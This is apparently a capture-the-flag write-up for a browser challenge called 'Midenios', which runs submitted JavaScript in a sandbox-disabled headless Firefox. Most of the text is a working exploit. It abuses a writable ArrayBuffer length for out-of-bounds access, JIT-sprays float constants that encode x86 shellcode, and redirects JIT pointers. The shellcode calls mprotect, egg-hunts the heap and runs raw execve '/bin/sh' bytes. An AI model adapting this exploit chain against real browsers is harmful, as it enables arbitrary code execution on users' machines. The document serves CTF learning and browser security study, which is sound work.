Midenios

#!/usr/bin/env python3

import os
import sys
import tempfile

print("Enter a javascript followed by EOF: ")
buf = ""
while "EOF" not in buf:
    buf += input() + "\n"

with tempfile.TemporaryDirectory() as dir:
    os.chdir(dir)
    with open("exploit.html", 'w') as f:
        f.write("<script src='exploit.js'></script>")
    with open("exploit.js", 'w') as f:
        f.write(buf[:-3])
    os.environ["MOZ_DISABLE_CONTENT_SANDBOX"] = "1"
    os.system(f"timeout 20s /tmp/firefox/firefox exploit.html --headless")

Exploit

An attacker can craft a JIT payload using the JIT-ROP technique, and then spray compiled copies of this function to the heap using eval:

function compile() {
	let payload = eval(`() => {
		const a = 1.5988992536819819e-270;
	    const b = 1.5995906889567309e-270;
	    const c =   1.597122538591395e-270;
	    const d = 2.4687513098123557e-275;
	    const e = 2.439451346390307e-275;
	    const f = -9.034974592533198e+192;
	};`)

	for(let i = 0; i != 100; i++) payload();
	return payload;
}

let m = [];
for(let i = 0; i != 100; i++) m.push(compile());

This will fill the heap after our arraybuffer with JIT metadata structs, which contain a pointer into the section of code containing our compiled payload. Spraying like this isn't technically necessary, but improves reliability by increasing the jit metadata/useless crap ratio in the heap. We then can search for a JIT pointer, and increase it by 0x44a such that it points into the middle of our first inlined float load instruction:

let JIT_PAGE_START = undefined;
for (let i = 0; i < 10; i++) {
    let value = writer[(0x34c8) / 8 + i];
    if (value < 0xfff8800000000000 && value != 13600000000n && value > 0xffffff) { // some filtering to make sure we get the right value
        JIT_PAGE_START = value;
        break
    }
}


if (JIT_PAGE_START == undefined || JIT_PAGE_START == 0n) window.location.reload();
console.log(`[-] jit functin address:  ${JIT_PAGE_START.toString(16)}`)
const PAYLOAD = JIT_PAGE_START + 0x44an
const JIT_BASE = (JIT_PAGE_START >> 8n) << 8n

for (let i = 0; i < 0x3000; i++) {

    let value = writer[i + 1]

    if ((value & JIT_BASE) == JIT_BASE) { // overwrite suspected jit pointers (most of them are to sprayed functions)

        writer[i + 1] = JIT_PAGE_START + 0x44an;
    }
}

We can then iterate over all of our sprayed functions, which will eventually hit an overwritten pointer, and jump to our float shellcode:

for(const a of m) a();

Rather than trying to include all of my shellcode into 6 6-byte instructions, I noticed that a pointer to the start of the heap was located in $R9 when the payload function was called. I wrote shellcode that would mprotect 0x25000 bytes after $R9 to be RWX, and then search for & jump to shellcode stored in the heap. This probably wasn't worth it in retrospect, but was more fun to write.

I marked the start of the shellcode with 0x6eadeef, and then used `repne scansq` to search for the shellcode in the heap. I probably should have made a separate buffer, but overwriting stuff to make room for my shellcode using the out-of-bounds buffer seemed to work fine. Here's the final shellcode used to make the floats:

xor eax, eax
mov edx, eax
mov dl, 7 ; PROT_READ | PROT_WRITE | PROT_EXEC
jmp $+9

mov rdi,r9 ; void* addr
mov al, 10 ; mprotect syscall
jmp $+9

mov esi, 0x25000 ; size_t length
jmp $+9

syscall
jmp $+9

mov eax, 0x6eadeef ; egg
jmp $+9
repne scasq ; scan through [RDI] to find [RAX]
repne scasq ; do it again, since the first hit is some weird cache thing
jmp rdi ; jump

And here's the final exploit:

if (window)
    print = console.log
//if (!readline)
readline = () => {}

let buf = new ArrayBuffer(8);
buf.byteLength = 0x3005 * 8;
let ui = new Uint8Array(buf)
let writer = new BigUint64Array(buf);

console.log("[-] Spraying jit heap")

function compile() {
    let payload = eval(`() => {
const a = 1.5988992536819819e-270;
    const b = 1.5995906889567309e-270;
  const c =   1.597122538591395e-270;
    const d = 2.4687513098123557e-275;
    const e = 2.439451346390307e-275;
    const f = -9.034974592533198e+192;
 const g = 1.6506203494991563e-270;

};`)

    for (let i = 0; i < 100; i++) payload();
    return payload;
}
let m = []
for (let i = 0; i < 100; i++) m.push(compile());


let JIT_FUNCTION_START = undefined; 
for (let i = 0; i < 10; i++) {
    let value = writer[(0x34c8) / 8 + i];
    if (value < 0xfff8800000000000 && value != 13600000000n && value > 0xffffff) {
        JIT_FUNCTION_START = value;
        break
    }

}


if (JIT_FUNCTION_START == undefined || JIT_FUNCTION_START == 0n) 
    window.location.reload();

console.log(`[-] jit functin address:  ${JIT_FUNCTION_START.toString(16)}`)
const JIT_BASE = (JIT_FUNCTION_START >> 8n) << 8n

for (let i = 0; i < 0x3000; i++) {
    let value = writer[i]

    if ((value & JIT_BASE) == JIT_BASE) {
        writer[i] = JIT_FUNCTION_START + 0x44an;
    }
}

new BigUint64Array(buf)[6] = 0x6eadeefn // there's some important stuff right after the arraybuffer that sometimes pisses the GC off before we have a chance to hit the payload
new Uint8Array(buf).set([0x48, 0x31, 0xF6, 0x56, 0x48, 0xBF, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x2F, 0x73, 0x68, 0x57, 0x54, 0x5F, 0x6A, 0x3B, 0x58, 0x99, 0x0F, 0x05], 7 * 8) // /bin/sh
console.log("shellcode written")
buf.byteLength = 8 // also to make the gc less angry
for (const a of m) a();
//EOF